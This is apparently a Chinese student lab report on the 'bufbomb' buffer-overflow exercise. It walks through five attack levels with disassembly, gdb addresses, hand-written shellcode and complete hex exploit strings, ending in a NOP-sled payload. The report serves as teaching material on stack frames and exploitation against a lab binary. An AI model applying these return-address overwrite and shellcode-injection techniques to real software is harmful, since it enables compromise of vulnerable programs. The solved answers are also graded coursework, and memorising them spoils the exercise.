您好,欢迎访问三七文档
当前位置:首页 > 电子/通信 > 综合/其它 > 西北工业大学-计算机系统基础-实验报告-第3次
西北工业大学计算机系统基础实验报告姓名班级学号实验成绩指导教师实验名称缓冲区溢出攻击实验目的:通过使目标程序跳转到我们预定的位置执行,从而加深对IA-32函数调用规则和栈帧结构的理解。实验工具:linux、gdb调试器、反汇编工具objdump、将16进制数转化为ASCII码的工具hex2raw。实验要求:对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击,也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。实验内容:一、Smoke(让目标程序调用smoke函数)本实验利用getbuf()函数不检查读取字符串长度的漏洞破坏该程序栈帧的返回地址从而达到对主程序造成破坏的目的。首先用objdump指令反汇编生成bufbomb的汇编语言文本文件。可以找到getbuf函数代码如下:080491f1getbuf:80491f1:55push%ebp80491f2:89e5mov%esp,%ebp80491f4:83ec38sub$0x38,%esp80491f7:8d45d8lea-0x28(%ebp),%eax80491fa:890424mov%eax,(%esp)80491fd:e808fbffffcall8048d0aGets8049202:b801000000mov$0x1,%eax8049207:c9leave8049208:c3ret位于0x80491f7地址处代码为预读的字符串在栈帧创建了0x28(也就是40)字节的空间。具体位置可以通过gdb在下一行设置断点查找%eax的值得到。为了覆盖被存在返回地址上的值,我们需要读入超过系统默认40字节大小的字符串。由于保存的%ebp旧址占据了4字节所以当我们的输入字符串为48字节时,最后4位刚好覆盖返回地址。首先,在bufbomb的反汇编源代码中找到smoke函数,记下它的起始地址。08048c28smoke:所以构造的攻击字符转总共48个字节,并且前面44个字节可以为任意值,对程序的执行没有任何影响,只要最后四个字节正确地设置为smoke的起始地址08048c28即可,注意使用小端方式写入。字符串为:0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000288c0408运行结果如下:二、Fizz(让目标程序使用特定参数调用Fizz函数)和smoke的区别是要求跳入函数fizz()且该函数有一个参数(要求用所给cookie作参数)。由汇编代码可以找到fizz函数的地址是08048c52fizz,而且ebp存放了调用者的旧ebp,其上一位置ebp+4存放了调用者的返回地址,所以参数的地址应该为ebp+8的位置,只需要将自己的cookie放置在该位置即可。字符串为:0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000528c040800000000c37b985f运行结果如下:三、Bang(让目标程序调用Bang函数,并篡改全局变量)08048cadbang可以知道bang函数的地址为0x08048cad,通过阅读bang函数的代码,可以推断出全局变量global_value和cookie的地址。global_value的地址是cookie的地址是0x5f987bc3于是自己写汇编代码如下:movl$0x5f987bc3,0x0804d100pushl$0x08048cadret先将global_value用mov指令变成cookie(0x0804d100前不加$表示地址),然后将bang()函数地址0x08048cad写给esp,再执行ret指令时,程序自动跳入bang()函数。将自己写的汇编代码变成机器代码。将指令代码抄入攻击文件,除此之外我们还需要找到输入字符串存放的位置作为第一次ret指令的目标位置,经过gdb调试分析getbuf()申请的40字节缓冲区首地址为0x55682f38。所以bang.txt内容如下:c70500d10408c37b985f68ad8c0408c300000000000000000000000000000000000000000000000000000000382f6855运行结果如下:四、Boom(无感攻击,并传递有效返回值)getbuf()结束后回到test()原本的位置(即callgetbuf后的下一行),并将cookie作为getbuf()的返回值传给test()。保存的ebp旧址被复原,这样一来原程序就完全不会因为外部攻击而出错崩溃,也就是退出攻击后要保证栈空间还原。8048dc9:e823040000call80491f1getbuf8048dce:89c3mov%eax,%ebx可以知道在test函数中getbuf()在0x08048dc9被执行因此正确的跳转地址为0x08048dce另外,要还原栈帧,我们必须知道在调用getbuf()之前的原始ebp的值,这里使用gdb调试来获取,可以在0x08048dc9(准备进入getbuf函数)设置断点,然后查看进入getbuf之前的%ebp寄存器值,这里我们得到的旧的ebp的值为0x55682f90,如下:自己编写汇编代码如下:movl$0x5f987bc3,%eaxpush$0x08048dceret这里通过movl指令将cookie值传给%eax以返回给test(),然后使得程序跳转到test()中callgetbuf下一条指令正常返回,但是并不在代码中处理ebp寄存器问题,而是通过在攻击字符串里面设置ebp寄存器使得其还原为旧ebp。对其进行编译,然后反汇编得到机器码如下:所以构造的攻击字符串如下:b8c37b985f68ce8d0408c30000000000000000000000000000000000000000000000000000000000902f6855382f6855运行结果如下:五、Nitro(栈帧地址变化时的有效攻击)bufbomb调用testn(),testn()又调getbufn()。本题的任务是使getn返回cookie给testn()。题目的栈地址是动态的,每次都不一样,bufbomb会连续要输入5次字符串,每次都调用getbufn(),每次的栈地址都不一样,通过上网查找,我了解到可以使用汇编指令nop(机器代码:90)填充输入字符串,这样一来在一定范围内无论在哪里进入我们的攻击程序执行指令最终都会滑到攻击代码。虽然ebp的值每次变化,无法直接赋值,但是在getbufn()程序中ebp和esp值差是一定的,通过gdp查找可以查到相差0x28。08048e36testn:8048e36:55push%ebp8048e37:89e5mov%esp,%ebp8048e39:53push%ebx8048e3a:83ec24sub$0x24,%esp8048e3d:e85effffffcall8048da0uniqueval8048e42:8945f4mov%eax,-0xc(%ebp)8048e45:e8bf030000call8049209getbufn8048e4a:89c3mov%eax,%ebx8048e4c:e84fffffffcall8048da0uniqueval通过试运行主程序发现五次inputstring的存储位置在0x55682ce8到0x55682db8之间,因此如果我们将第一次retaddress定为最高的0x55682db8那么就可以保证五次运行执行命令都不会在运行攻击程序之前遇到除nop(90)之外的其他指令。又根据testn开头的代码可以知道代码的返回地址应该是0x8048e4a。所以构造的攻击指令并且进行编译反编译结果如下:查看getbufn的汇编代码如下:08049209getbufn:8049209:55push%ebp804920a:89e5mov%esp,%ebp804920c:81ec18020000sub$0x218,%esp8049212:8d85f8fdfffflea-0x208(%ebp),%eax8049218:890424mov%eax,(%esp)804921b:e8eafaffffcall8048d0aGets8049220:b801000000mov$0x1,%eax8049225:c9leave8049226:c3ret得知写入字符串的首地址为-0x208(%ebp),而返回地址位于0x4(%ebp),因此我们需填充524个字节的字符,再写4个字节覆盖getbufn()的返回地址。填充字符串如下:9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090b8c37b985f8d6c2428684a8e0408c3b82d6855测试结果如下:实验心得和总结:通过本次实验加深了对函数执行过程栈帧的使用方式的理解,以及缓冲区溢出的原理和用法,使自己对简单的汇编语言更加熟练掌握,最重要的一点是,通过本次实验,自己动手写了一些汇编语言代码,这是以前实验过程没有经历过的,更加强了汇编语言的实践。我还认识到,在以后的编程中,要尽量避免缓冲区溢出的漏洞,让自己的代码更加健壮。
本文标题:西北工业大学-计算机系统基础-实验报告-第3次
链接地址:https://www.777doc.com/doc-5762807 .html